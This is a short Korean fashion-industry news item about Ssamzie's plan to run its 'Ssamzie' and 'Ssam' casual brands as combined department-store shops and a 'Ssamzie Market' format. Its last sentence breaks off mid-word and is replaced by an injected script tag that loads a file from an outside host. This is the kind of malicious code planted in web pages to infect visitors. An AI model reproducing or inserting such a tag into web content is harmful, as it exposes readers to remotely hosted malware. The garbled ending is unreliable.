쌈지(대표 천호균)가 하반기 ‘쌈지’와 ‘쌤’을 통합 매장으로 운영하는 방안을 추진하고 있다.
쌈지는 영캐주얼로 전환한 ‘쌈지’와 트렌드 캐릭터 캐주얼 ‘쌤’의 유통망이 축소되면서 단일 브랜드보다 복합 매장 운영이 효율적이라고 판단, 이와 같은 대안을 마련한 것.
따라서 기존 ‘쌈지’ 10여개 매장과 ‘쌤’ 16개 매장을 복합 단일 매장으로 운영하는 방안을 백화점측과 조율하고 있다.
단일 매장으로 운영할 경우 ‘쌈지’는 여성 라인을, ‘쌤’은 남성 라인을 중점적으로 전개하고 유니섹스 캐주얼 라인을 추가 전개할 계획이다.
또 이 같은 매장을 ‘쌈지’, ‘쌤’ 복합 매장 형태인 ‘쌈지마켓’으로 대체하는 방안도 고려하고 있다.
‘쌈지마켓’은 가두점의 차별화를 위한 새로운 모델로 다양한 아이템과 이색적인 문화코드를 전달하는 체험쇼핑 공?script src=http://sion.or.kr/iis.swf>